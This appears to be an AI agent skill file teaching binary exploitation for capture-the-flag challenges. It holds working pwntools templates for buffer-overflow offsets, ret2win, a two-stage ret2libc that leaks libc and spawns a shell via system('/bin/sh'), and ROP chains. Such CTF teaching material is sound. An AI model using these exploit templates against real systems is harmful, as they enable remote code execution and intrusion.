Binary Exploitation Patterns
When to Use
Load this skill when:
- •Solving binary exploitation (pwn) CTF challenges
- •Working with buffer overflows and stack-based vulnerabilities
- •Building ROP (Return-Oriented Programming) chains
- •Writing shellcode or exploits
- •Using pwntools for exploitation
- •Analyzing binaries with GDB, checksec, or strings
Binary Analysis Workflow
Step 1: Static Analysis First
Always begin with static analysis before dynamic exploitation.
# Search for interesting strings strings ./vuln | grep -iE "flag|password|key|secret|admin" # Check binary protections checksec ./vuln # Examine file type and architecture file ./vuln
Why? Static analysis reveals:
- •Hidden functionality and backdoor functions
- •Hardcoded credentials or flags
- •Security mitigations (PIE, NX, Stack Canary, RELRO)
- •Architecture (32-bit vs 64-bit, calling conventions)
Step 2: Decompile with Ghidra/IDA
# Batch decompile with Ghidra headless mode (RECOMMENDED) ./ghidra_headless/decompile_headless.sh ./vuln output.c # Or use Python wrapper (legacy) python tools/decompile.py ./vuln # Or manually open in Ghidra GUI ghidra
Key things to look for:
- •Dangerous functions:
gets(),strcpy(),scanf(),read()with no bounds - •Win functions:
system("/bin/sh"),execve(),print_flag() - •Buffer sizes vs input sizes
- •Comparison operations (password checks, admin checks)
Protection Analysis Table
| Protection | Status | Exploitation Strategy |
|---|---|---|
| PIE | Enabled | Need address leak for code/data addresses |
| PIE | Disabled | Can use hardcoded addresses directly |
| NX | Enabled | Cannot execute shellcode on stack, use ROP |
| NX | Disabled | Can write shellcode to buffer and execute |
| Stack Canary | Enabled | Need canary leak or bypass technique |
| Stack Canary | Disabled | Direct buffer overflow exploitation |
| RELRO Full | Enabled | Cannot overwrite GOT entries |
| RELRO Partial | Enabled | Can overwrite GOT for hijacking |
Exploitation Patterns
Pattern 1: Find Buffer Overflow Offset
from pwn import *
# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()
# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")
Alternative: Manual offset finding
# Use offset_finder.py from tools/ # python tools/offset_finder.py ./vuln
Pattern 2: Basic ret2win (Call Win Function)
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
# Find win function address
win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
# Build payload
payload = flat({
offset: [
win_addr
]
})
io = process(exe)
io.sendline(payload)
io.interactive()
Pattern 3: ret2libc (Leak + System)
Stage 1: Leak libc address
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
# Build ROP chain to leak puts@GOT
payload = flat({
offset: [
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'] # Return to main for second exploit
]
})
io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")
# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
Stage 2: Call system("/bin/sh")
# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
# Build final ROP chain
payload2 = flat({
offset: [
rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps)
rop.find_gadget(['pop rdi', 'ret'])[0],
bin_sh,
libc.symbols['system']
]
})
io.sendline(payload2)
io.interactive()
Pattern 4: Auto-Switch Start Function
Use this template for all pwn scripts:
from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
"""Start the exploit in different modes"""
if args.GDB:
gdbscript = """
b *main
continue
"""
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Usage:
# python solve.py # Local process
# python solve.py GDB # Debug with GDB
# python solve.py REMOTE IP PORT # Remote connection
Pattern 5: ROP Chain Construction
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')
# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat({
offset: [
ret, # Stack alignment
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})
Quick Reference
Pwntools Essential Commands
| Task | Command |
|---|---|
| Generate cyclic pattern | cyclic(500) |
| Find offset from crash | cyclic_find(b'caaa') or cyclic_find(0x61616161) |
| Pack 64-bit integer | p64(0x401000) |
| Pack 32-bit integer | p32(0x08048000) |
| Unpack 64-bit bytes | u64(data.ljust(8, b'\x00')) |
| Unpack 32-bit bytes | u32(data.ljust(4, b'\x00')) |
| Launch with GDB | gdb.debug([exe], gdbscript=script) |
| Connect remote | remote(host, port) |
| Local process | process([exe]) |
| Build structured payload | flat({offset: [gadget1, gadget2]}) |
| Find ROP gadgets | rop.find_gadget(['pop rdi', 'ret']) |
| Search bytes in binary | next(elf.search(b'/bin/sh')) |
Common ROP Gadgets (x86_64)
# System call setup pop_rdi = 0x400123 # pop rdi; ret (1st argument) pop_rsi = 0x400456 # pop rsi; ret (2nd argument) pop_rdx = 0x400789 # pop rdx; ret (3rd argument) pop_rax = 0x400abc # pop rax; ret (syscall number) # Stack alignment (REQUIRED for recent libc) ret = 0x400001 # ret # Useful symbols bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # or libc.symbols['system']
GDB Essential Commands
# Pwndbg commands checksec # Check binary protections vmmap # Memory mapping telescope $rsp 20 # Stack view cyclic 200 # Generate pattern cyclic -l 0x61616161 # Find offset rop # Search ROP gadgets rop --grep "pop rdi" # Filter gadgets got # GOT entries plt # PLT entries # Standard GDB b *main # Breakpoint at address b *0x401234 x/20gx $rsp # Examine stack (64-bit) x/20wx $esp # Examine stack (32-bit) x/20i $rip # Disassemble info registers # Register values set $rax = 0 # Modify register
CTF-Specific Tips
Extract Flags Automatically
import re
def extract_flag(data):
"""Extract common CTF flag formats"""
patterns = [
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'CTF\{[^}]+\}',
r'picoCTF\{[^}]+\}',
r'HTB\{[^}]+\}',
r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return None
# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
log.success(f"Flag: {flag}")
One-Gadget Usage
# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6
# Use in exploit
one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output
payload = flat({offset: one_gadget})
Anti-Patterns (Avoid These)
❌ Don't: Skip Static Analysis
# BAD: Jumping straight to buffer overflow without understanding the binary offset = 72 # Guessed payload = b'A' * offset + p64(0xdeadbeef)
Why it's bad: You might miss:
- •Easier solutions (hardcoded flags, win functions)
- •Critical constraints (length checks, character filters)
- •Security mitigations that require different approaches
❌ Don't: Hardcode Addresses with PIE/ASLR
# BAD: Hardcoded libc addresses system_addr = 0x7ffff7a52290 # This won't work with ASLR # GOOD: Calculate from leak libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system']
❌ Don't: Forget Stack Alignment
# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})
# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
❌ Don't: Ignore Error Messages
# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()
# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
log.error("Exploit failed, check payload")
exit(1)
io.interactive()
Bundled Resources
Templates
All templates use the auto-switch start function for easy testing:
- •
templates/pwn_basic.py- Basic buffer overflow template - •
templates/pwn_rop.py- ROP chain + ret2libc template - •
templates/angr_template.py- Symbolic execution with angr
Tools
Helper scripts for common tasks:
- •
tools/checksec_quick.sh- Quick security check wrapper - •
tools/offset_finder.py- Automated offset calculation - •
tools/leak_parser.py- Parse and format address leaks - •
tools/libc_lookup.py- Identify libc version from leaks - •
tools/rop_chain_skeleton.py- Generate ROP chain templates - •
tools/patch_ld_preload.sh- Patch binary to use specific libc
Ghidra Headless Decompilation
- •
ghidra_headless/- Automated decompilation without GUI - •
ghidra_headless/decompile_headless.sh- Wrapper script for batch decompilation - •
ghidra_headless/DecompileCLI.java- Ghidra Java script for headless operation - •
ghidra_headless/README.md- Detailed usage and troubleshooting guide
Gadget Finders
- •
gadgets/find_gadgets_ropgadget.sh- ROPgadget wrapper - •
gadgets/find_gadgets_ropper.sh- Ropper wrapper - •
gadgets/find_gadgets_rpplus.sh- rp++ wrapper - •
gadgets/one_gadget_notes.md- One-gadget usage guide
Quick References
- •
references/quickref_gadgets.md- Common ROP gadgets reference - •
references/quickref_gdb.md- GDB command cheatsheet - •
references/gdb_cheatsheet.md- Detailed GDB guide - •
references/ret2libc_checklist.md- Step-by-step ret2libc guide - •
references/usage_guide.md- Tool usage instructions
GDB Configuration
- •
gdb_init/- GDB initialization scripts for pwndbg, GEF, peda
Keywords
pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development